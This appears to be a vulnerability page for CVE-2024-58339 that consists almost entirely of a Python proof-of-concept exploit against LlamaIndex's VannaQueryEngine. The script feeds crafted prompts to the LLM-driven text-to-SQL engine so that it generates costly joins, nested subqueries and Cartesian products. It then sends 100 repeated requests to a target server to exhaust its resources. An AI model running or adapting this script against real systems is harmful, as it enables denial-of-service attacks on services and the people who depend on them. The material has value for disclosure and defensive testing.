CVE-2024-58339 LlamaIndex VannaQueryEngine资源消耗漏洞

import requests import json # CVE-2024-58339 PoC - LlamaIndex VannaQueryEngine Resource Exhaustion # Target: LlamaIndex application using VannaPack VannaQueryEngine def exploit_vanna_resource_exhaustion(target_url, malicious_prompt): """ PoC for resource exhaustion via VannaQueryEngine custom_query() This demonstrates how an attacker can trigger unbounded SQL execution """ # Malicious prompts that generate expensive SQL operations malicious_prompts = [ # Trigger full table scan with complex joins "Show me all records from users, orders, products, and inventory tables joined together with aggregate functions", # Trigger nested subqueries "Find all customers who have orders that contain products that are in categories that have subcategories...", # Trigger Cartesian product "Combine every record from all tables together" ] payload = { "prompt": malicious_prompts[0], "session_id": "attacker_session" } # Send repeated requests to exhaust server resources for i in range(100): try: response = requests.post( f"{target_url}/vanna/query", json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.Timeout: print(f"Request {i+1}: Timeout - Server resource exhaustion likely") break return True # Example usage if __name__ == "__main__": target = "http://vulnerable-llamaindex-server:8000" exploit_vanna_resource_exhaustion(target, "malicious query")